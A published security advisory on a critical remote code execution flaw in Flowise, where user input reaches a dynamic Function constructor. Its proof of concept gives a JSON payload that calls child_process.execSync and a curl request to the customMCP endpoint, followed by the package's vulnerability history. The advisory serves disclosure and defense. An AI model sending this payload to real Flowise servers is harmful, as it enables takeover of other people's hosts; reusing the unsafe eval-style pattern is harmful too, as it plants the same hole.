Critical

Flowise vulnerable to RCE via Dynamic function constructor injection

  • Disclosed: 06.10.2025
  • Updated: 11.10.2026 10:22

Summary

User-controlled input flows to an unsafe implementaion of a dynamic Function constructor , allowing a malicious actor to run JS code in the context of the host (not sandboxed) leading to RCE.

Details

When creating a new Custom MCP Chatflow in the platform, the MCP Server Config displays a placeholder hinting at an example of the expected input structure:

js
{
	"command": "npx",
	"args": ["-y", "@modelcontextprotocol/server-filesystem", "/path/to/allowed/files"]
}

Behind the scene, a POST request to /api/v1/node-load-method/customMCP is sent with the provided MCP Server Config, with additional parameters (excluded for brevity):

js
{
...SNIP...

   "inputs":{
      "mcpServerConfig":{
         "command":"npx",
         "args":[
            "-y",
            "@modelcontextprotocol/server-filesystem",
            "/path/to/allowed/files"
         ]
      }
   },
   "loadMethod":"listActions"
   
...SNIP...
}

Sending the same request with the parameter mcpServerConfig equals to a plain value and not an object, for example:

js
{
   "inputs":{
      "mcpServerConfig":"test"
   },
   "loadMethod":"listActions"
}

We enter an interesting code flow that leads to a function named convertValidJSONString (Line 103): https://github.com/FlowiseAI/Flowise/blob/416e57380ea7ce2e66f89aded61b249ff3eef3b2/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L103

ts
async getTools(nodeData: INodeData): Promise<Tool[]> {
        const mcpServerConfig = nodeData.inputs?.mcpServerConfig as string

        if (!mcpServerConfig) {
            throw new Error('MCP Server Config is required')
        }

        try {
            let serverParams
            if (typeof mcpServerConfig === 'object') {
                serverParams = mcpServerConfig
            } else if (typeof mcpServerConfig === 'string') {
                const serverParamsString = convertToValidJSONString(mcpServerConfig) <--
                serverParams = JSON.parse(serverParamsString)
            }

            const toolkit = new MCPToolkit(serverParams, 'stdio')
            await toolkit.initialize()

            const tools = toolkit.tools ?? []

            return tools as Tool[]
        } catch (error) {
            throw new Error(`Invalid MCP Server Config: ${error}`)
        }
    }
}

Here, the value of inputString originating from mcpServerConfig is being concatenated to a dynamic Function constructor that evaluates the provided value similar to using eval:

ts
function convertToValidJSONString(inputString: string) {
    try {
        const jsObject = Function('return ' + inputString)()
        return JSON.stringify(jsObject, null, 2)
    } catch (error) {
        console.error('Error converting to JSON:', error)
        return ''
    }
}

This JS code runs in the context of the host, not sandboxed using @flowiseai/nodevm like other code execution functionalities within the platform.

This enables access to the global process object and as a result access to all the native NodeJS modules available such as child_process, leading to Remote Code Execution.

js
{
    "inputs":{
        "mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"
        },
    "loadMethod":"listActions"
}

PoC

  1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as npx, pnpm, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker

  2. Create a new file named payload.json somewhere in your machine, with the following data:

{"inputs":{"mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"},
"loadMethod":"listActions"}
  1. Send the following curl request using the payload.json file created above with the following command:
bash
curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP"
  1. Observe that a new file named yofitofi is created under /tmp folder.

Impact

Remote code execution

Credit

The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package flowise <= 2.2.7-patch.1 no fix

References

CVSS score 9.8/10
CVSS vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-627, CWE-95
Platform
npm
Package
flowise
Disclosed
06.10.2025
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-hmgh-466j-fx4c - CC BY 4.0

Vulnerability history: flowise

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (114) in the archive
Total entries
114
First → latest
04.2024 10.2026
Without a fix
16
Exploited in attacks
0

Severity breakdown

  • Critical 28
  • High 62
  • Medium 24

Disclosures per year

  1. 2024: 11
  2. 2025: 22
  3. 2026: 81
Severity:
  1. Critical CVE-2026-69259 < 3.1.3 3.1.3
  2. Critical CVE-2026-69256 < 3.1.3 3.1.3
  3. Critical CVE-2026-69253 < 3.1.3 3.1.3
  4. Critical CVE-2026-69251 < 3.1.3 3.1.3
  5. High · 8.8 CVE-2026-46444 < 3.1.2 3.1.2
  6. High CVE-2026-46443 < 3.1.2 3.1.2
  7. High CVE-2026-56274 < 3.1.2 3.1.2
  8. High · 7.5 CVE-2026-46440 < 3.1.2 3.1.2
  9. High · 9.8 CVE-2026-41276 < 3.1.0 3.1.0
  10. High CVE-2026-41274 < 3.1.0 3.1.0
  11. High · 7.5 CVE-2026-41275 < 3.1.0 3.1.0
  12. High · 7.1 CVE-2026-41271 < 3.1.0 3.1.0
  13. High · 7.1 CVE-2026-41272 < 3.1.0 3.1.0
  14. High · 7.1 CVE-2026-41269 < 3.1.0 3.1.0
  15. High · 7.7 CVE-2026-41268 < 3.1.0 3.1.0
  16. High · 7.5 CVE-2026-41266 < 3.1.0 3.1.0
  17. Critical · 8.8 CVE-2026-41137 < 3.1.0 3.1.0
  18. Critical · 9.9 CVE-2026-40933 < 3.1.0 3.1.0
  19. High CVE-2026-30824 < 3.0.13 3.0.13
  20. High · 7.7 CVE-2026-30822 < 3.0.13 3.0.13
  21. High CVE-2026-30821 < 3.0.13 3.0.13
  22. Critical · 9.9 CVE-2025-61913 < 3.0.8, < 3.0.8 3.0.8
  23. High · 8.3 CVE-2025-61687 >= 3.0.7, < 3.0.8 3.0.8
  24. Flowise vulnerable to RCE via Dynamic function constructor injection this entry
    Critical · 9.8 CVE-2025-55346 <= 2.2.7-patch.1 no fix
  25. High CVE-2025-71336 >= 2.2.7-patch.1, < 3.0.6 3.0.6
  26. Critical · 9.8 CVE-2025-71334 >= 2.2.8, < 3.0.6 3.0.6
  27. Critical · 9.1 CVE-2025-71324 >= 3.0.5, < 3.0.6 3.0.6
  28. Critical · 10.0 CVE-2025-59528 >= 3.0.5, < 3.0.6 3.0.6
  29. High · 7.5 CVE-2025-59527 >= 3.0.5, < 3.0.6 3.0.6
  30. Critical · 9.1 CVE-2025-57164 >= 3.0.5, < 3.0.6 3.0.6
  31. Critical · 9.8 CVE-2025-8943 <= 3.0.5 no fix
  32. Critical · 10.0 CVE-2025-71338 <= 2.2.7 no fix
  33. Critical CVE-2025-71333 <= 2.2.7 no fix
  34. High CVE-2025-26319 <= 2.2.6 no fix
  35. High CVE-2024-58351 < 2.1.4 2.1.4
  36. High · 7.5 CVE-2024-8182 <= 1.8.2 no fix
  37. High · 7.3 CVE-2024-8181 <= 1.8.2 no fix
  38. High · 7.5 CVE-2024-36421 <= 1.4.3 no fix
  39. High · 7.5 CVE-2024-36420 <= 1.4.3 no fix
  40. High · 7.6 CVE-2024-31621 < 1.8.1 1.8.1

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.